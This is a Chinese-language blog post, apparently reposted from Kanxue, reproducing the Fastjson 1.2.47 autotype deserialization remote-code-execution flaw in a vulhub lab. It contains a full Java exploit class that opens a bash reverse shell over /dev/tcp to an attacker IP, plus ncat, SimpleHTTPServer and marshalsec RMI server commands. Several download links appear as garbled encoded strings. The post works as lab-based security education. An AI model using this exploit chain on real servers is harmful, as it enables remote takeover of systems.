技术分享 | Fastjson-RCE漏洞复现

发布者:广州锦行科技
发布于:2021-05-26 14:41

Fastjson提供autotype功能,允许用户在反序列化数据中通过 @type 指定反序列化的类型,其次Fastjson自定义的反序列化会调用指定类中的setter方法和部分getter方法。
当组件开启autotype并且反序列化不可信的数据时,攻击者构造的数据(恶意代码)会进入特定类的setter或getter方法中,可能会被恶意利用。
影响版本
Fastjson1.2.47以及之前的版本

复现

1.1 环境准备

攻击机1

用于接受反弹shell
系统:Win10 x64
安装nc,burpsuite
win10中需安装nc,用于监听反弹的shell。
在win10下,在nc官网(be5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6W2N6r3g2J5L8X3q4D9L8s2W2T1L8%4u0W2k6q4)9J5k6h3!0J5k6#2)9J5c8X3#2A6M7$3y4Q4x3V1k6F1k6i4c8U0j5i4c8Q4x3V1k6Q4x3U0W2Q4c8e0c8Q4b7U0S2Q4z5p5u0Q4c8e0S2Q4b7V1c8Q4b7V1c8Q4c8e0c8Q4b7V1y4Q4z5f1q4Q4c8e0k6Q4z5p5q4Q4b7e0g2Q4c8e0k6Q4b7f1k6Q4z5e0u0Q4c8e0S2Q4b7e0u0Q4b7f1u0Q4c8e0k6Q4z5p5u0Q4b7e0k6Q4c8e0k6Q4z5o6S2Q4b7f1q4Q4c8e0y4Q4z5o6m8Q4z5o6t1`.
可以使用nmap中重置的ncat(1dcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6S2L8X3c8J5k6i4N6Q4x3X3c8V1i4K6u0r3M7%4c8S2N6r3W2U0i4K6u0V1j5X3W2F1j5i4u0A6k6i4y4Q4x3V1k6T1L8r3!0T1i4K6u0r3L8h3q4K6N6r3g2J5i4K6u0r3j5X3W2F1j5i4u0A6k6i4y4Q4x3V1k6%4K9h3&6V1L8%4N6K6i4K6u0r3P5o6R3$3i4K6u0r3L8X3y4S2N6q4)9J5k6h3g2^5k6g2)9J5z5g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4q4!0n7z5q4)9^5c8h3&6U0i4@1f1@1i4@1u0p5i4@1u0r3i4@1f1%4i4K6V1@1i4@1p5^5i4@1f1$3i4K6V1%4i4@1p5H3i4@1f1#2i4K6S2o6i4@1u0m8i4@1f1#2i4K6R3^5i4@1q4n7i4@1f1K6i4K6R3H3i4K6R3J5
下载后进入,ncat所在目录,执行ncat,出现如下输出则安装成功



攻击机2

提供一些必要服务
系统:Ubuntu
需安装:marshlsec ( df7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0j5X3g2U0K9r3I4W2M7W2)9J5c8X3#2S2M7Y4y4Z5j5h3I4K6k6h3x3`. )(用于启动RMI服务)、python环境(用于启动SimpleHTTPServer服务)、openjdk
marshlsec下载后,需要使用mvn打包,无mvn命令需要安装Maven
marshlsec下载后,进入文件目录执行sudo mvn clean package -DskipTests,完成后会在目录的target目录中发现两个jar包



受害机

系统:Ubuntu (与上述提供RMI和Web服务的机器可以是一台或不同)
需安装:docker、docker-composer、vulhub

1.2 示意图



1.3 复现流程

在 攻击机1 开启监听

在受害机上启动环境,进入vulhub中的/fastjson/1.2.47-rce/,使用如下命令启动服务:



# docker-compose up -d
在 攻击机1 上访问该服务,如下则为成功



构造恶意代码文件vim Exploit.java,内容如下
代码中192.168.253.129/6666修改为攻击机1的ip和监听反弹shell的端口

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        //Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
      Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.253.129/6666;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

编写完成后,对该文件进行编译生成对应的class文件

# javac Exploit.java

在 攻击机2 上启动RMI和Web服务
· 启动Web服务
# python -m SimpleHTTPServer 8080

使用 攻击机1 访问 攻击机2开放的Web服务,如下则成功

启动RMI服务
进入marshalsec打包好的jar包目录执行命令,如下
192.168.253.138:8080 为上述Web服务地址和端口,需自行修改
8888 可为任意端口
# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.RMIRefServer
"157K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0t1#2x3#2)9J5k6e0p5K6z5q4)9K6b7e0R3H3z5o6m8Q4x3V1k6Q4x3U0y4q4P5s2m8D9L8$3W2@1i4K6t1$3M7i4g2G2N6q4)9K6b7R3`.`. 8888


在 攻击机1 上构造恶意请求







发送请求后,等待ncat获取反弹shell,可见在恶意代码中构造的命令执行,成功反弹shell,可以执行命令





声明:该文观点仅代表作者本人,转载请注明来自看雪